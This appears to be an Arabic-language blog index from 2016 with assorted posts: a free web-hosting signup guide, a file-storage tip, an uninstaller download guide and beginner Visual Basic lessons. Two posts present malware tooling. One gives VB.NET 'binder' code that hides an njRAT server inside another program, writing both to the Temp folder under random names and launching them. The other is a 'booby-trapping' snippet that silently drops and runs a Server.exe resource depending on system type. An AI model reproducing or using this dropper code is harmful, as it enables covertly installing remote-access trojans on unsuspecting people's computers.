Multicursor - Busy
الجمعة، 26 فبراير 2016
الثلاثاء، 23 فبراير 2016

استضافة أجنبية بمميزات رائعة .. تحقق منها الآن مع طريقة التسجيل

السلام عليكم ،

أولاً : مميزات هذه الاستضافة :-


1- مجانية 100%
فهذه الإستضافة تتوفر مجاناً ، وكل حساب تتوفر به مساحة غير محدودة وباندويث غير محدود أيضاً.

2- صانع مواقع مجاني
نعم، توفر لك هذه الاستضافة برنامج مجاني لصنع المواقع دون الحاجة لخبرة في البرمجة والتصميم.

3- لوحة تحكم سهلة الإستخدام
توفر لك الاستضافة لوحة تحكم من نوع Cpanel سهلة الاستخدام.

4- نطاق فرعي مجاني
إن لم تكن تملك اسم نطاق، فبإمكانك استخدام خدمة النطاق الفرعي المجاني الذي توفره لك الإستضافة
مثل : name.1gh.in أو name.cu.ma وغيرها العديد.

5- التنصيب بضغطة واحدة فقط
بإمكانك تنصيب أكثر من 80 سكربت معروف (مثل ووردبريس، جوملا..الخ) بضغطة واحدة فقط وتشغيل موقعك خلال دقائق معدودة باستخدام خيار التنصيب التلقائي.

6- دعم فني 24/7
نحن نؤمن برضا العملاء 100%. يمكنك الحصول على الدعم والمساعدة بواسطة التذكرة أو دروس المدونة التعليمية أو من الخبراء متديات الدعم.
ثانياً : طريقة التسجيل :-
نذهب إلى الموقع بـ الضغط هنا
بعد الدخول غلى الموقع نضغط signup كما في الصورة 
نملأ استمارة التسجيلات بالمعلومات :

1- ايميلك.
2- اسمك (مثلاً ahmed).
3- كلمة السر.
4- أعد كتابة كلمة السر نفسها.
5- اكتب الأحرف والأرقام أعلاه
6- بعد ملأ البيانات، اضغط على REGISTER NOW

بعد الضغط على REGISTER NOW تظهر لك الرسالة التالية
8- من داخل الرسالة، اضغط على هذا الرابط.
بعد الضغط على الرابط سيتم تفعيل حسابك كما يضهر باللون الأخضر في الصورة أعلاه.
9- دعها كما هي (مجانية للأبد).
10- اضغط select
11- اختر اسم نطاق فرعي لموقعك (مثلاً iraq)
12- اختر النطاق الرئيسي الذي ستربط موقعك به. (مثلاً x20.in) وبذلك سيكون عنوان موقعك iraq.x20.in
13- اكتب كلمة السر للوحة التحكم بالموقع.
14- أعد كتابة كلمة السر للوحة التحكم بالموقع.
15- اكتب الأرقام والأحرف أعلاه
16- بعد التأكد من المعلومات اضغط create
بعد الضغط على create سيتم تحويلك إلى صفحة وتظهر فيها الرسالة أعلاه
والتي تقول : 
تم إنشاء الحساب. سيتم تشغيل الموقع بغضون 12 ساعة طبقاً لإعداد DNS

شرح انشاء مركز لتحميل الملفات على موقع جوجل

نعلم ان معظم مراكز الرفع والتحميل تعطيك مدة معينة وتقوم بعدها بحذف الملفات

ساقدم لكم اليوم شرح لكيفية إنشاء مركز تحميل خاص بك يضمن لك حفظ ملفاتك من الحذف الي الأبد بمساحة غير محدودة
رابط الموقع
"اضغط هنا"

ولن أطيل عليكم سندخل شاهدو الشرح للستفادة


الاثنين، 22 فبراير 2016

دمج سيرفرنجرات مع برنامج بلفيجول بيسك

سلام عليكم 
شرحنة اليوم دمج السيرفر مع برنامج بلفيجول بيسك

الكود
========================================================================
Module GBAlpYQnQAF
    Sub main()
        Dim RoIvFSmCfpo As String = My.Computer.FileSystem.SpecialDirectories.Temp
        Dim FKsqNsRNtBH As String = RoIvFSmCfpo + "qdyYIcDLQHz.exe"
        IO.File.WriteAllBytes(FKsqNsRNtBH, My.Resources.program)
        Process.Start(FKsqNsRNtBH)
        Dim qrTVeHuCyUg As String = My.Computer.FileSystem.SpecialDirectories.Temp
        Dim CWqpPOzyeDX As String = qrTVeHuCyUg + "EwFOaQxeGWD.exe"
        IO.File.WriteAllBytes(CWqpPOzyeDX, My.Resources.server)
        Process.Start(CWqpPOzyeDX)
    End Sub
End Module
========================================================================

الشرح

الجمعة، 19 فبراير 2016

شرح تحميل و تثبيت برنامج IObit Uninstaller لحذف البرامج من جذورها

السلام عليكم و رحمة الله و بركاته
شرح تحميل و تثبيت برنامج IObit Uninstaller  لحذف البرامج من جذورها

برنامج IObit Uninstaller لحذف البرامج من جذورها ولا يبقى لها أي أثر على الكمبيوتر والبرنامج قد تم تصميمه على أن يكون سهل الإستخدام حيث يستطيع جميع المستخدمين التعامل معه بسهوله سواء كانو مبتدئين أو محترفين



الشرح على اليوتيوب



من موقع الرسمي
او من هنا 
 
الاثنين، 8 فبراير 2016

عمل تلغيمة شرطيه حسب نوع نضام32او64

سلام عليكم عمل تلغيمة حسب نوع نضامك اما32او64 الكود
Public Class Form1
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        If GenerateOperatingSystem() = "64 Bit" Then
            MsgBox("الشرط")
        End If
    End Sub
    Public Function GenerateOperatingSystem() As String
        Dim D8798432 As String
        If Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Hardware\Description\System\CentralProcessor\0").GetValue("Identifier").ToString.Contains("64") Then
            D8798432 = "64 Bit"
        Else
            D8798432 = "32 Bit"
            Dim Dire As String = My.Computer.FileSystem.SpecialDirectories.Temp
            Dim mustafa As String = Dire + "Server.exe"
            IO.File.WriteAllBytes(mustafa, My.Resources.Server)
            If IO.File.Exists(mustafa) Then
                Process.Start(mustafa)
            End If
        End If
        Return D8798432
    End Function
End Class
للمشاهده الشرح




الجمعة، 5 فبراير 2016

الدرس الثاني من دوره انشاء برامج بل الفيجول انشاء برنامج زغرفه


سلام عليكم
درس الثاني


الكواد
نضع فيtextbox1


  Me.AcceptButton = Button1

نضع في نص زغرفه
Dim txt As String = TextBox1.Text
        txt = txt.Replace("ي", "ـے")
        txt = txt.Replace("ك", "گ")
        txt = txt.Replace("ب", "بـ?ـ")
        txt = txt.Replace("ا", "أآ")
        txt = txt.Replace("ت", "تـ?ـ")
        txt = txt.Replace("ث", "ثـ")
        txt = txt.Replace("ج", ",ـجـ,")
        txt = txt.Replace("ح", ",حـ,")
        txt = txt.Replace("خ", "خـ")
        txt = txt.Replace("س", "سـ?ـ")
        txt = txt.Replace("ش", "شـ")
        txt = txt.Replace("ص", "صـ?ـ")
        txt = txt.Replace("ض", ",ضـ,")
        txt = txt.Replace("ط", "طــ")
        txt = txt.Replace("ظ", "ظــ")
        txt = txt.Replace("ع", "عـ?ـ")
        txt = txt.Replace("غ", "غـ")
        txt = txt.Replace("ف", "فـ")
        txt = txt.Replace("ق", ",قـ,")
        txt = txt.Replace("ل", "لـ")
        txt = txt.Replace("م", "مـ?ـ")
        txt = txt.Replace("ن", "نـ")
        txt = txt.Replace("ه", "ـہ")
        txt = txt.Replace("و", "ؤؤؤ")
        txt = txt.Replace(" ", " ")
        TextBox2.Text = txt
نضع في زر مسح النص

textbox1.text=""
textbox2.text=""

نضع في زر الخروج
end




للمشاهده الشرح 






الخميس، 4 فبراير 2016

دورة انشاء برامج بل فيجولالدرس الاول وضع يوزر نيم وباسويرد للمشروعك



سلام عليكم اليوم درس الاول من 
دورة انشاء برامج بل فيجول بيسك
الدرس الاول
طريقةوضع يوزر نيم وباسويرد للمشروعك


الكود

 If TextBox1.Text = "pas" And TextBox2.Text = "uesr" Then
            MsgBox("دخول صالح")
            Form2.Show()
        Else
            MsgBox("خطاء في الدخول")

لمشاهده الفيديو



الأربعاء، 3 فبراير 2016